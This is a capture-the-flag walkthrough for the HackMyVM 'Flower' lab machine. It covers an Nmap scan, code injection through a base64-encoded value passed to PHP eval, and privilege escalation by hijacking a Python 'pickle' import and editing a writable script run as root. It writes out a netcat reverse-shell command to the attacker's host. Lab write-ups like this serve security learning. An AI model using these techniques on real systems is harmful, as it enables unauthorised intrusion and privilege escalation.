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https://github.com/AbdullahRizwan101/CTF-Writeups
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61 lines
No EOL
2 KiB
Markdown
61 lines
No EOL
2 KiB
Markdown
# HackMyVM-Flower
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## NMAP
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```
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Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-12 02:02 PKT
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Nmap scan report for dominator.hmv (192.168.1.6)
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Host is up (0.000079s latency).
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Not shown: 999 closed ports
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PORT STATE SERVICE VERSION
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80/tcp open http Apache httpd 2.4.38 ((Debian))
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|_http-server-header: Apache/2.4.38 (Debian)
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|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
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MAC Address: 08:00:27:8D:A3:F6 (Oracle VirtualBox virtual NIC)
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 8.12 seconds
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```
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## PORT 80
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<img src="https://imgur.com/j2fvA9B.png"/>
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On running gobuster it seems that there is only an `index.php`
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<img src="https://imgur.com/Yy5KCwp.png"/>
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Looking at the source code of web page we see that value is actually a base64 encoded text
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<img src="https://imgur.com/aw9Zpp7.png"/>
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These value are being sent to the sever and the server might be using `eval` so there is an exploit to it by ecnoding the exploit as base64 and replacing it with the actual value.
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<img src="https://imgur.com/NjoGb9z.png"/>
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<img src="https://imgur.com/1m3en2N.png"/>
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<img src="https://imgur.com/GSTIEYH.png"/>
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To get a reverse shell encode `system('nc 192.168.1.8 2222 -e /bin/bash') ` to base64 and do the exact same thing
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<img src="https://imgur.com/VDkf22z.png"/>
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<img src="https://imgur.com/g146zXb.png"/>
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Now we know `diary.py` can be ran as user `rose` and we know that it is using python library named `pickle`
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<img src="https://imgur.com/UCvsGdJ.png"/>
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We can create a malicious library by the name of pickle.py and place it with diary.py because python searches for library in which it is being executed.
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<img src="https://imgur.com/vb28U6l.png"/>
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Doing a `sudo -l` again with rose
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<img src="https://imgur.com/EdfbRYb.png"/>
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<img src="https://imgur.com/kWbNTur.png"/>
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As `.plantbook` is writeable add `/bin/bash` to the file and then run as root
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<img src="https://imgur.com/AYNV9ve.png"/> |